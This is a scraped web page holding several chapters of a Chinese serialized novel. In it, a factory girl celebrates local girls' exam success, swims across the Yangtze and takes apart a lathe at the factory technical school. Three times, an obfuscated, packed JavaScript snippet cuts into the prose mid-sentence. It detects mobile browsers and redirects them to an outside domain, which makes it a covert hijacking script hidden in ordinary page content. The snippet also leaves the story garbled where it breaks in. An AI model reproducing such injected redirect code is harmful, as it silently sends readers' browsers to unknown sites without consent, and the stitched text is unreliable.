这是她们商量好的,因为每次来,宁妈妈都会给她们弄点吃的喝的,红薯干,绿豆汤,凉茶之类的。 干完活,跑到楼下,用老手压井压出凉凉的地下水冲洗脚丫。 夏日闷热的燥意一下就散了,她们舒服的坐下,看着今天意外收到的几分礼物,表情都有些唏嘘。 晚晚拿起那瓶花香猪油膏,感慨:“虎妞也考上中专了,真好。” 回想起来,这个老法子做的唇膏,还是小虎妞被送回乡下去的那段时间学会的。 嗯,被家里人送回乡下了,说不要她了,还是孟主任做工作才接回来。 孟主任为此立下一条规矩,如果适龄儿童该上学时还留在老家,没有回来上学,父母则不能评选劳动模范,先进工人等,会影响工资晋升的那种。 “这么数一数,感觉我们红旗家属院考上中专的女生,好像不太少啊。”阿水嘀咕,她握着从怀里掏出来向日葵头花,在手里摆弄。 她摆弄着,一根搓成细条状的白纸条,从花茎掉了出来。 林巧枝她们:? “这是什么?” 阿水拿起来,捋顺了,一看,上面娟秀的字迹写着:“我们女孩就是聪明,我们女孩就是努力,我们女孩就是成绩好,后劲足。” 宁珍珠用胳膊肘怼了怼林巧枝,惊喜道:“是你说的话呀!” 林巧枝拿起自己那朵,眼睛对准茎,往里头瞄。 她们也都从花茎找到纸条,搓成细长圆柱的那种。 写的是同样的话。 但字迹却明显有进步,不像是同一时期写的。 这事就在两三年前,林巧枝她们刚上初中。 因为孟主任的原因,大多数人家都是愿意供小孩读书的,但事做了,嘴上却下意识嘀咕两句,“男娃聪明,一努力就上去了,女娃后劲不足。” 林巧枝就是听不得这样的话,她想去和大人理论,却发现身边确实有很多这样的例子,女孩子到后来成绩就慢慢掉下来了。 她想不通,凭什么女孩子就后劲不足?但又争不过大人,争不过那么多身边的例子。 她急红了眼,一抹眼泪,就像小孩耍无赖一样喊:“我们女孩就是聪明,我们女孩就是努力,我们女孩就是成绩好,后劲足!” 她喊完就转头跑走了。 那时她玩具也玩够了,早就不和讨厌的男生一起玩了,女生朋友也一个个走散,家里也争完了。 她干脆就放下了玩具,埋头扑到学习上。 让那个在小学成绩只是中等偏上的小巧枝,在中考前,成了江城学校随便挑选的优尖生。 10. 她是大江儿女 仔细一算。 她们红旗家属院考上的女孩,真不少。 “光是我们四个,加上阿曼,虎妞……这就比前几年多了吧?”晚晚看着桌上堆的小礼物,比着手指头在数。 林巧枝觉得不止:“这几天咱们去看录取通告,听到别家也有好消息。” 宁珍珠兴奋弹起:“我去打听打听!” 她一溜烟就跑了出去。 宁家在一楼,没有占地方的公共走廊,宽敞许多,门口就是平地,有不少老人坐在阴凉处乘凉,扇着蒲扇闲聊。 宁妈妈与人为善,和邻居关系很好,宁珍珠也受老人们喜爱。 出去打听一圈,很快就跑了回来。 她高兴得麻花辫都一荡一荡的,数着:“吴奶奶说,还有三车间李家的二闺女,食堂后勤王家的娟花,机修一组石家的……” 她们一数,最后再一算。 目前为止,她们红旗农械厂考上中专和高中的女生,比男生还多一成,到了6:4的比例! 林巧枝兴奋地大手一挥:“走,宣扬去!” “走!” 一拍即合。 说干就干。 林巧枝她们当即把门一关,风风火火的跑出去,见人就说,见人就宣扬。 天热都挡不住她们的热情。 年轻的女孩子,朝气蓬勃,热烈得就像是江城夏天盛开的向日葵花。 而被逮住的红旗家属院人家:“……” 录取的好消息听了当然高兴,要笑,但被逮着几乎贴脸暗示,你就是偏见,笑容多少有点尴尬。 林巧枝她们不尴尬,她们高兴着呢! 当初争辩得最凶的人,不少在上工,并不在家属区。 家属院转了一圈,林巧枝仍不满足,大胆地提议:“不如我们去厂办广播室?向全厂广播这个好消息?” 阿水竖起大拇哥:“这想法好。”她嘿嘿笑了两下,“今年家属院考上中专和高中的可比往年多多了,这么好的消息,当然要通报全厂!” 到了厂办广播室。 人家一看她们,眼神都警惕了。 广播站主任还专门点了个人挡在门口,免得有人直接弯腰钻进去了。 仗着人小,曾从胳膊肘下钻进广播站的小巧枝,显然给广播站留下了深刻的记忆。 林巧枝摸摸鼻子,好吧! 她不气馁,而是坚持道:“那我们向广播站建议,中午广播这条振奋人心的好消息,以激发厂职工下午的工作热情!” “真这么简单?”广播站主任眼神怀疑。 “当然啊!” 她们几个都不需要眼神交流,默契地打起配合。 都是一脸的理所当然。 “现在录取还没结束,我们今年的录取人数已经超过前两年很多了,这难道不算振奋人心的好消息吗?”宁珍珠一脸诧异。 阿水笑着说:“我们刚刚一路告诉大家这个好消息,大伙儿都高兴呢。”她眼睛都不眨一下。 广播站一想,也是。 没什么毛病。 等到中午,在车间的、食堂的、办公室的、家属楼的全体职工们,都听到厂办广播站的广播: “各位厂职工中午好,现在为大家广播一条好消息,在前不久结束的中考中,我厂子弟发扬奋斗精神……” 这条广播先夸厂里,再夸子弟,再一个个报名字和学校,每报到一个名字,那孩子家长都会得到周围职工的一阵起哄、被羡慕的目光包围,当真是神仙滋味! 鸡血一下打得足足的。 广播站觉得完全没有问题,多棒的稿件啊。 却没想到家属院那边的消息,在全厂兴奋的讨论中,长了翅膀一样蔓延。 不听不知道,广播一听,名字一对,里头女孩真的占六成了! 怎么会有六成这么多? 听到满厂激烈的议论和争辩,广播站主任:“……”下次,下次一定离林巧枝她们远些! “哈哈哈……” 林巧枝她们笑得差点跌到桌下去了。 好像有什么压在心里的东西,都随着笑声都扬洒了出去。 林巧枝笑过后,托着腮,手里揉着阿曼藏的纸条。 不由想到晚晚曾经写过的两篇作文《我在党的教育下成长》《我在劳动中受到了锻炼》 她说:“晚晚,你作文好,之前还有两篇考试的作文被老师选中,推荐去了人民长江报,还刊登了一篇!你要不要试试看,写一篇有关这个主题的作文?” 小时候不懂,为什么那么多女孩子“后劲不足” 等上过初中,才慢慢知道为什么。 初中更难些,作业也不是小学那一点点。 比如阿曼。 “阿曼,帮妈拧个衣服。” “阿曼,妈得赶紧去粮油店抢新到的白面,你给弟弟喂一下奶,就用那代乳粉冲。” “阿曼,拿针线把这三件补一下,这裆、这腋下都破了,碎布头在筐里省着点用。” 回到家,弟弟妹妹挂在身上,写个作业不停有事找。 等成绩一下降,大伙就感慨,“女孩后劲不足。” 阿水说着就气不过,手砰砰拍了两下桌子:“写!晚晚你把这些都写出来,你笔头好,指不定还能登上江城晚报。” 晚晚是她们中唯一性格内敛些的女孩。 她被夸得嘴角上扬,手托着腮,却嘴硬道:“哪有你说的那么好,还江城晚报呢,那可是江城最大的报纸。” 嘴上这么说。 她却很快动笔了。 写得很用心,她也想让更多人看到。 阿水从书立抽出她们四个淘来的旧书,龇牙乐:“可不能泄气了,照巧枝说的,咱们提前预习,到了中专和高中,还当前头优秀的那批!” 到时候往好单位分配! 她们每天都跑到宁珍珠家,可不是为了聊天唠嗑,要唠嗑去江边吹江风唠不好吗?还凉快呢! 要是有机会,她们说不定还能跟巧枝一样,找到机会提前毕业。 阿水翻开书,还搁哪儿美呢:“到时候我们都有薪水了,一起去国营饭店下馆子,尝尝要一块一毛八一份的东坡肘子到底是什么味儿!” 多美。 “贵死了,不如五毛三的酱肉合算。”晚晚也边翻书边流口水。 林巧枝豪迈道:“都买!”等她们赚钱了,手头有粮票肉票了,都买来吃。 梦里,她们也在这个夏天,许下过同样的愿望,憧憬过未来。 可最后什么也没实现。 她们入学后一年多,江城就闹起了停课,很多学校都不正常教课了,大伙学农,学语录,写思想报告,正常的教学秩序被完全扰乱。 在下乡潮来临时,严格意义上,她们都不算是正常毕业的,缺了一年多的课。 风声又紧,单位都不敢招她们这一批。 政策要知识青年下乡劳动,单位哪里敢大大方方招人?名额一下缩减了很多。 中专的毕业分配,也被以“这批学生专业技能不达标”等理由搪塞、推诿,谁也不敢顶风做出头鸟。 阿水交换到的那个工作机会,也是最普通的纺织厂一线车间的操作工。 只能熬工龄涨工资。 可在那一年年的漫长冬日,她依旧每年收到阿水的包裹,信里说,“说好的,工作挣钱了,我们一起吃好吃的。” 林巧枝眨了眨眼,目光坚定。 这次不会了。 只要她成功毕业提前入厂,就有把握让一切迎刃而解。 夏日炎炎,女孩们聚在一起学习,书页翻动的声音,伴随着阵阵蝉鸣。 *** 日子一天天变热。 林家的气氛,也一日日燥起来。 明明前些天还是欢声笑语的。 周树等人家在收到录取通知书后,家长都带着孩子上门来坐坐,表示感谢。 林父多有面儿啊! 他还在学开车! 好像这辈子都没这么春风得意过。 江红梅也每天高高兴兴的,连买菜都大方了一些。 但是,却始终没有等到林家栋的录取通知书。 “怎么会没有呢?” 床上扑满了报纸,林父和江红梅坐在床边,翻来翻去,面色急躁。 翻遍了所有报纸,都没有! 林巧枝也觉得出乎意料。 按照梦里成绩和她的记忆来看,林家栋就算没了和她一起复习压中的几道题,也不至于考不上。 不过她懒得探究为什么,林家栋的事她也不想管。 与其花时间在这上面,不如多学几页课本。 这天早上,她被一团乱麻的江红梅拉住。 江红梅完全不知道该怎么办,紧紧抓住女儿手腕:“巧枝,你脑子聪明,给妈出出主意。” 林巧枝看着她,那双眼睛似是紧张,又带着期盼。 她读出的不是“给妈出出主意”而是“你帮帮你弟,拉他一把。” 她静默地望着江红梅的表情:“妈,我给你出个主意。” “好!好!你说!”江红梅急切道。 “你把心思放在自己身上,我看你扫盲班最近用心少了。”她提醒着,错过这个,才真的会后悔一辈子,“至于林家栋,无非是就用初中学历去找工作,或者复读一年再考。” 还有什么值得烦恼的? 她们家难道还有关系,给林家栋安排一份工作吗? 江红梅愣了一下。 “妈,你别听她的!”在旁边偷听的林家栋跑过来,把江红梅拉到他那边,用力瞪林巧枝,气愤道,“你就是见不得我好,初中学历能找到什么好单位好工作?你不帮就算了,还不让妈给我打算,没见过你这样当姐姐的!” 江红梅恍惚顺着点头,拉着她的手说:“巧枝,家栋也是因为你才没考上的,反正你这每天也弄得叮铃哐啷响,顺便教教你弟钳工活,明年……” “等等。”林巧枝抓住重点,“什么叫他因为我没考上?我可连他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119712|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根毫毛都没碰过。” 她转头盯着林家栋:“你说的?你跟爸妈这么说的?” 林家栋不敢直视她的眼睛。 也不回答。 林巧枝却没漏掉他眼睛里没藏住的埋怨。 她忽然想起来中考前,最后那段时间家里的僵硬。 难怪成绩滑掉,原来根本没有好好复习,只惦记着扒拉着她进厂校,怕是还盯着那些找她突击的,心里不平衡她教外人不教他。 “幸好没教你。” 没教都能怨到她头上,林巧枝尤自庆幸,眼神讥讽,“要是真教了你,却没考过,又影响了你的中考成绩,这黑锅还真要扣我头上了。” ——都是因为她才没考上。 真好笑。 她拿着锉刀和标尺就往外走。 走到她常用的一片阴凉地儿。 角落里堆着几块车间淘汰下来的废料。 她拿起锉刀,聚精会神的一下下锉削。 如果有人看,一定会惊讶她进步得非常快——那是昨晚整整一夜在梦里练习的成果,正不断通过练习,融入她的身体。 汗水浸湿了她的衣服。 叮铃哐啷的声音也充斥这个夏天。 终于,在暑假的尾巴,林巧枝试着去拆一台车床。 梦里。 她蹲在一台车床边。 说来好笑,人家假人师傅刚刚修理完这台车床的小问题,正在组装回去。 她把人挤开。 拿着假人师傅的工具,上手就拆。 拆了,假人师傅又组装。 可即使看过一些资料和技巧,拆卸车床也并不如想象中简单。 林巧枝白天也学,晚上也练。 每天脑子里都琢磨着精进技术,拆卸掉这台车床。 都有点魔怔了。 “巧枝,今年渡江你要去吗?”宁珍珠问。 “那根传动轴应该是为了安全考虑,固定得太紧了。” 宁珍珠:? 宁珍珠她们几个面面相觑。 这说啥呢? 晚晚伸手在林巧枝眼前晃了晃:“巧枝?” 别不是学傻了吧! 林巧枝也觉得自己状态不太对,绷得太紧了,有些事压着她,急迫得喘不过气来,顺着珍珠她们期待的目光,答应了一起去渡江。 江城渡江那天,她换了一身旧衣服,搓了稻草,衣裤都扎紧。 才走到江堤上,就能看到江边密密麻麻全是人。 前面就是波光粼粼的大江。 组委会高高悬挂起【万里长江横渡】的红色横幅。 这是江城一年一度的“横渡长江”壮丽场面。 不仅有个人参加。 还有许多单位组队参加,想要一举搏得头筹,为单位争光。 江边已经有一支支搏击风浪的方队,大面大面的红色旗帜被江风吹得猎猎作响,前面醒目的有“红旗方队”“解放军护卫队”“一枝花”…… 组委会站在三张木桌子垒起来的临时高台上,拿着大喇叭,正激情澎湃: “各位同志们,今天我们又迎来了一年一度的‘万里长江横渡’的渡江活动,我们江城江面宽广,水域开阔,伟大的领袖毛主席曾多次到我们江城横渡长江……” 说到这里,人群爆发出一阵热烈的欢呼鼓掌,老人们激动得挺起胸膛。 “……活动开始前,让我们一起朗诵毛主席在我们江城做的诗《水调歌头·游泳》!”组委会的工作人员激情澎湃,几乎在吼,声调昂扬地起头,“才饮长沙水,又食武昌鱼!” 而后,两只手高高向上猛地一抬。 热情澎湃的江城人民,哪里能按捺住内心躁动,上万人在呼啸的江风中齐声高唱: “才饮长沙水,又食武昌鱼。万里长江横渡,极目楚天舒。不管风吹浪打,胜似闲庭信步……” 生在长江边,住在东湖畔,在一百多个湖泊边讨生活的江城人,就没有旱鸭子。 林巧枝按捺住沸腾的情绪,活动热了身体,在各个方队激昂的加油口号声里,一个猛子扎进江水中。 她身体一摆,像鱼儿一样游开。 清凉的江水冲刷身体,夏日闷热和燥意都被甩在身后。 一朵朵白浪高高飞溅。 体力和勇气都在不断被消耗,又不断在豪迈的号声、滔滔的江水中源源不断地滋生。 “哗~” 林巧枝猛地从江面浮出来,扶着岸边的石头,大口大口的呼吸新鲜空气,感受江河赋予人的无限生机。 一抹脸上的水。 痛快极了! 横渡过长江,被大江大河的开阔气势冲刷身体,滋养灵魂。 林巧枝好像被冲开了关窍。 她拿出大江儿女的气势,即使拆坏了大不了重头再来! 她终于在开学前,成功独立拆解一台车床! 九月,江城依旧余热未散。 林巧枝对未来满怀期待地,走进了厂技术学校的教室。 11. 拆卸车床 林巧枝还是第一次仔细看她们厂技术学校。 说实话,看起来其实挺普通的。 一栋三层高的教学楼,围墙将周围一片围起来,墙上刷了石灰水,门口有个传达室。 没有食堂,没有宿舍、没有球场。 因为厂里都有。 虽然看起来其貌不扬,但在江城,绝对是非常强势的学校。 它能给学生定级! 从这所学校毕业的学生,入厂就能直接定级为二级工。 这就是话语权。 搞计划经济,工人的工资是由国家发的,但发多少可是级别定的。学校就是敢当着江城领导拍桌子,“我们学校走出来的学生,就是有这个水平。” 要知道,好多中专技校毕业分配后,都要先当一年学徒工呢。 林巧枝找了个前排靠中间的位置坐下。 她旁边隔着一张课桌,坐下来一个男生,“林巧枝,你入学考核敲了几下敲断的钢棍?” “3下,”林巧枝瞟他一眼,认出了人,“赵松,你问这个干嘛?” “真就三下?”赵松嘴角下垂,不信地问,“那为什么我四下敲断了是优秀,你只少一下就是满分?” 林巧枝摊手:“又不是我打的分,这你得去问王工、乔工他们才对。” 门口又有人走进来,是周树,他吸了口气。 “早,巧枝姐。” “早上好。” 林巧枝应了声,把课本从书包里拿出来,她有这套旧的,就没要新书了,省点钱。 本该是非常好的开学第一天,结果还不等林巧枝翻开书,窗外就传来一声压着火气的声音: “你们这群兔崽子!回家吃了几顿饱饭,听了几句夸,手就软了?眼睛就瞎了?” 林巧枝耳边,一瞬间诡异的安静下来。 原本教室里,不说欢声笑语,但也是叽叽喳喳。新生们左右转头到处找熟人,还有兴奋搬凳子找人聊天。 现在面面相觑。 有好奇胆大的,蹑手蹑脚,悄悄走到窗户边,侧身贴着窗户往外偷瞄。 慢慢地,靠近走廊的窗户边,贴了一排新生。 “砰!”的一声巨响。 声音震得窗户边的少年们齐齐一哆嗦。 蚊子一样嗡嗡小声,试问:“这是锤子?” 也有人瞪大眼睛,掩着嘴,气音儿说:“我怎么听着像是铁件砸地的声音?” 林巧枝悄悄掰铁栓,把窗户往外支棱开一条缝,耳朵往外探了探。 “看看这活儿干的,歪七扭八,我都用不着标尺,眼睛一看,手一摸,居然还有角塌了半毫米的!还有边长不一致的!你们这是做钳工,还是狗啃骨头呢?” 林巧枝舔了舔嘴唇,回头看后头的赵松,他爸是钳工,踢踢他的鞋头,压低声音,问:“这是咋回事?” 赵松脖子都缩着,完全忘记要硬气这回事,小小声:“他们暑假有操作作业,听说是把一个圆溜溜的钢制圆球,手工锉削成正十二面体,要求每一个面,都要是完全一样的五边形。” 林巧枝“嘶”了一声,又小声问:“精度呢?” 按照她暑假练习和学习的感受,这玩意精度要求越高,越磨人。一点失误,一面五边形毁了,就要所有从头来过。 “精度不太清楚。”赵松眼神古怪的瞅她一眼,才说,“我爸可说了,你那个精度7丝、还带半圆弧的模具,可比这个难多了。” 这个正十二面体,起码每条边都是做直线,不带转弯弧。 林巧枝头皮也有点发麻,她哪里知道王工那句“傻笑啥?”给的要求这么高。 但输人不输阵,她瞪回去,压声:“什么叫我那个?那是王工开的要求,而且你怎么知道我做不到?” 窗外,隐约听到有人小声抱怨。 好像说是这个工件要求高,超出了他们二年级时学的水平。 “手生了,脑子也生锈了是吧?”王工的压着的火气,明显蹭的一下爆起来,“难什么难?给你们限时了吗!整整一个暑假,一遍不行就两遍,两遍不行就四遍,技术差可以再练。” 他重重敲了两下铁操作台:“但不能态度都没有!” 教室门忽然被推开。 窗户边一排学生,惊得身体下意识一缩,又“哄”的一下散开,飞快跑到座位上坐好。 “哈哈哈……”老师脸都笑皲了,不过他没说什么,反而还去把门窗全都大大敞开,看热闹不嫌事大,“都听听,好好听听。” 这王工啊,每年可真给他省事。 铁窗四敞,声音更清晰了。 能听到一声声挑剔严苛的点评,然后就是让人心惊肉跳的,“不合格品,重做。” 林巧枝:“……” 果然只有取错的名字,没有喊错的外号。 这会儿她脑补出王工的样子,那怒气腾腾的脸都跟在煤炭里滚过似的,吓人的狠,虽然她之前真不觉得王工皮肤黑。 站在讲台上的老师,笑得跟个弥勒佛似的。 “我给你们自我介绍一下,我姓秦,你们可以喊我秦老师,也可以喊我秦工,我主要是负责给你们上理论课的,你们手上百分之八十的书,都由我来教。” 他说:“都是厂子弟,你们互相打小就认识,我也都认识你们,自我介绍咱就省了。”他笑得眯起眼睛,有点坏,“都先自己看会儿书,一会儿王工来给你们上第一课。” 说完,他还特地往林巧枝的方向看了一眼。 目光对上,林巧枝晓得了,多半是因为她。 她心虚的移开目光。 这么久了,家属院都不议论了,王工还惦记。看来“被追着撵”对王工来说是个新奇经历,居然记这么久! 班里更安静了。 什么第一课?还王工来上,没听说过啊!! 很快就知道了。 他们被秦老师带到这一层尽头的操作教室。 不是考核那间,这间里头放着一台被擦得干净锃亮的车床。 王工穿着工装,沉着脸走进来。 他接过秦老师递的水壶喝了两口,聊了两句,神色克制,转头对这批学生道:“你们也听到了。” “我知道,你们这个年纪都贪玩,但钳工这行,玩是玩不出来的。你们要是真想在这行混出个名堂,就得给我拿出点骨气来,把手艺练扎实了!” 他把铁皮水壶放到一边。 “看到这个车床了吧?你们这学期,除了理论知识和基本功,就是要学会拆解它。会拆它了,厂里拖拉机随便拆。” 王柏强直接点名喊人:“赵松。你上来,把前头几步拆了。” 又说:“今天也不为别的,晓得你们有些人私下里抱怨入校考核要求高,今儿你们自己看看,够不够用。” 赵松磨磨蹭蹭上了。 搓搓裤腿,小声:“王工,我不会拆。” “你爸没教你?”王柏强瞪他,学了几年手艺这都不敢上手。 赵松被瞪的一缩脖子,辩解:“那也没什么机会练手啊。” “基本功够了就行。”王柏强给他塞了工具,然后指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119713|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导他怎么拆。 赵松硬着头皮上了。 林巧枝紧紧盯着。 她在梦境里找的那台车床,和眼前这个型号不一样。 赵松拆卸了四五步,就遇到难题了。 ——主轴箱里的转动轴。 林巧枝大概晓得是为什么,她也被这个拦路虎拦住过。 这个固定的非常非常紧! 即使不同型号,但主轴箱里的传动轴,都是车床的关键零件,运转的平稳性会影响零件加工质量,一旦旋转精度降低,工件质量就会大幅度下降。 所以,每一根都固定得特别牢稳结实! 王柏强对新生倒是没那么凶,教道:“这种传动轴装得牢,轻易拆不下来,需要用特质的铁质手锤击打,还需要一定的拆卸技巧,锤功不过关别想拆下来,看我的手……” 他讲完拆卸技巧,一伸手,三下两下,把赵松费了老大劲儿拆下来一根传动轴,组装了回去。 然后开始点人。 新生们:“……”背后汗都直往下垮,江城九月怎么还这么闷热? 尤其是玩了两个月,手锤都没碰一下的,甚至力气都变小了的,生怕被点到,眼神游移闪躲。 赵松都拆卸的那么难! 偏偏没用。 这就是上自家厂校的坏处了,都住一个家属院,学生啥样,老师一模一个准。 王柏强就光点他们,一点一个准。 他既然来了,当然要把这一记响鼓,敲实了,敲响了,叫人知道平日练的每一项基础功有多重要,别觉得入校就能高枕无忧等分配! 一连好几个被点上去的学生,都卡住几乎进行不下去。 满头大汗,传动轴在那儿巍然不动。 王柏强脸越来越黑,“行了,再让你折腾,我还得修。从今天起,你每天放学前做五十个俯卧撑再走。” 他又往本上记一笔。 “林巧枝,你来。” 有点突然,突然到林巧枝心脏猛地一跳。 然后她一颗心怦怦地越跳越快,手心发热,两台车床型号不一样,拆卸的技巧和方法也明显不一样,像是紧张、可她觉得是亢奋。 她在梦里练习那么久,终于要在现实中,亲手摸到第一台车床了。 林巧枝深呼吸,走到车床旁。 “还想提前毕业吗?”王柏强问。 林巧枝诚实:“想的。” 王柏强被噎了一下,上下打量她一会儿,才指着车床:“拿工具。” 哪来这么心大的丫头,亲眼看到赵松跟他爸学了几年都拆得磕绊,竟还打消不了她这念头。 站在车床前,面对若干传动轴,林巧枝先是观察一番,思索一会儿,而后开始按王柏强教的方法拆。 梅花扳手拧松紧固螺栓,然后用手锤松动电机与传动轴之间的粘连力 林巧枝目光紧紧盯着,带着操作手套的手一推一拉。 “咔嗒——” “不错,锤功没荒废。”王柏强指点两句,“下一根可以试着轻一点,继续。” 这丫头绝对是下了功夫的,也肯动脑,这很好。 又指着刚刚点的那几个男生,恨铁不成钢道:“好好看,学着点。” 一转头,林巧枝又拆下一根。 王柏强:“……” 他默默走到林巧枝身后,发现他才刚刚说的可以轻点,这丫头明显比之前用锤轻,巧劲儿更多了。 主轴箱的若干传动轴,逐一被林巧枝拆下,一根比一根速度快,一根比一根动作娴熟。 12.咋舌 拆解完一根根传动轴。 林巧枝手心发热,心里说不出的紧张、兴奋,交织成一股微妙的满足,让她身体微微发烫。 她喜欢这种感觉! 明确的、有规则的,有秩序的,好像只要她足够强大,就能掌控一切。 而不是只能忐忑地站在原地,等别人来评价。 晚晚的那篇稿件她们都觉得写得好,那是许多女孩的不公和压抑的心声,也不失冲破的勇气和力量,可她们盼了一整个夏天,都到开学了,也没能刊登。 还是抓在手里的东西,让人心安。 林巧枝意犹未尽,兴奋地回头看王柏强,积极争取道:“王工,您还能教我继续拆吗?” 对上她闪烁着兴奋的黑眼睛,王柏强咳了一声,收回探究的目光。 “看我做什么,我还能不让你拆了?” 他一边教林巧枝这台车床后面怎么拆卸,一边给这一屋子新生紧紧懒筋: “瞧见了没?看看锤功练到位是什么样子的,别看传动轴固定的牢,金贵得很。现在你们还有机会练,有机会出错,等以后工作了,基础不扎实拆坏了,得端茶倒水请师傅帮着擦屁股……” 他嘴上说着,眼睛却时不时去瞟林巧枝的手上活儿,“看你们好不好意思!” 林巧枝拆卸得也并不太顺利,因为两台车床型号不一样,拆卸起来差别很大。 即使有王工指导,她也难免磕磕绊绊的。 但幸好王工说的是真的,会拆这台车床,厂里拖拉机随便拆——技术都是触类旁通的! 王工一说,她大概就能明白要怎么做,手上活儿也勉强能跟上。 就是耳朵有点受罪,嗡嗡的。 林巧枝精神高度紧张,竖起耳朵听,生怕错漏、或者理解错王工的话,然后挨骂。 “谁教你这个角度伸手进去的?还要不要手了!这是哪儿来的臭毛病。” “用力拧!整个转过去再往右一敲,怎么,你难不成还怕把钢条拧坏了?” …… 一件。 一件。 又一件。 林巧枝感觉脑子里满是王工的声音,脑子里王工的脸都好像更黑了,大黑炭那种。 终于,拆着拆着。 硬生生把整台车床拆卸完了。 林巧枝长长的舒了一口气,紧绷的头皮都好像一下松散:“呼……” 紧接着就是一乐。 意识到自己干成了什么,她高兴得眼睛都亮了,然后赶紧问:“王工,我刚刚拆卸还有没有问题?” 没有的话,她就照着这一套练了! “刚刚说的不都是问题?”王柏强道。 明白了,没有别的问题! 她嘿一声:“我肯定积极改正。” 等下课了。 把学生都撵回去,王柏强和秦奇两个当老师的相互看了看,都看到对方脸上的咋舌。 王柏强看一地七零八碎的零件,还是纳罕:“看她手生的也不像是提前练过拆卸车床的。” “咱们那时候,好像都没有上手这么快的。”秦工也是想不通。 就算手上活有天赋,也不至于这么快。 两人思来想去,只能勉强想到一个可能——会不会是因为脑子聪明? 据说林巧枝成绩特别好,是江城学校随便挑的那种尖子生。 除了这,还能是什么,总不能是避开全厂人视线,偷偷进学校或者车间拆卸过车床吧? 林巧枝:嘿,猜对了! 但她是光明正大的,没有偷偷。 *** 回到教室里。 林巧枝脑子里还在复盘刚刚的拆卸过程,还有王工提到的细节和技巧。 她从包里拿了个本子出来。 趁着记忆还新鲜,拔开钢笔帽,一点点往本子上记。 学校就这一台教学用的车床,却有足足三个年级的学生。 她得珍惜每一次的练习机会。 “林巧枝……你来真的啊?” 林巧枝回头一看,旁边杵了个人,半探不探地伸脑袋,踮脚看她本上写的东西,一脸苦涩涩的表情。 也是老熟人,还是刚刚被逮出来的几个人之一。 她道:“先别说话。” 要是等会儿忘了,算谁的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15122187|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱明看清她逐渐往后写的内容,苦瓜脸一收,忙堆出谄笑,还用手在嘴边做了个拉拉链的姿势。 林巧枝没理他。 这人打小净会作怪。 都打过招呼了,钱明干脆也不垫着脚探头偷看了,他往前探了两步,走到课桌后侧一点点。 站在他这个位置,能很清楚地看到林巧枝在写什么内容。 林巧枝喜欢清晰明了,1是1,2是2,即使记笔记,也不会糊弄,用一些只有自己懂的代号。她不想过两年回头看,自己都一脸懵。 钱明看到她写的拆卸车床过程和心得。 尤其是刚刚拦住他的传动轴,王工的骂声好像还在耳边回响,心跳都随着呼吸吓得停漏了两拍。 他吸一口气,然后朝着后面几个“难兄难弟”挤眉弄眼,表情乱飞地朝他们比划。 林巧枝写完,还顺着从头到尾过了一遍,确定没有漏掉什么环节。 刚刚抬头,钱明凑过来,堆起满脸笑。 还没开口。 “叮铃铃——” 上课了。 学校一上午就两节大课,一节操作课,一节理论课。 林巧枝很喜欢秦老师上的理论课。 和她自己看书的感觉完全不一样。 会有非常非常多的细节、操作、实例,被融入课本写的那些知识里。 那是秦老师钳工生涯里千金难换的经验。 林巧枝已经自己把课本学过一遍,好像把自己构建成一颗满是气孔的空心海绵,此刻海绵吸水一样贪婪地从秦工那里吸收这些经验。 等到下课,林巧枝正收拾书,钱明和几个上节课才面熟回来的人就凑到跟前,满脸笑容,声音殷勤。 “巧枝姐,一起去食堂吃饭吗?” 教室里不少同学看到这一幕,也都放慢了脚步,或者假装收拾书包。 林巧枝分明记得,刚刚这厮过来一开口,喊的是“林巧枝” 这么快改口了? 可惜了,她已经不当大姐大好几年了,那都是小孩子才玩的游戏。 林巧枝自顾自收好包,挎起肩带往外走,有点嫌弃:“咱俩不熟。” 13.心慌 林巧枝朝教室外走。 钱明立马跟了上来,追着她嬉皮笑脸:“巧枝姐,巧枝姐!” “怎么能说咱俩不熟呢?咱姐弟多少年的交情了!小时候不还一起跑去江边游泳、一起玩打仗游戏,当初我还扮演日本鬼子,被你打死了呢,你还记得不?可把我委屈坏了,回家还大哭一场。”钱明话跟珠子一样密,边追边说。 林巧枝感觉就像一个猴儿在眼前直蹦跶,拼命伸手跳着喊:姐看看我,姐看看我。 和周树那个闷葫芦完全是两个极端。 林巧枝:“……” 她小时候难道就是和这样一群人到处疯玩吗? 林巧枝愈加嫌弃了:“你别跟着我。” 想念珍珠,想念阿水,想念晚晚,还是她们女孩子可爱。 钱明痛心疾首的捂住胸口,表情悲伤欲绝,嘴上却改换话风,开始夸她:“巧枝姐,没想到你还和小时候一样,又聪明又手巧,拆卸车床这么难的事第一次尝试就成功了!真是聪明绝顶、举世无双……” 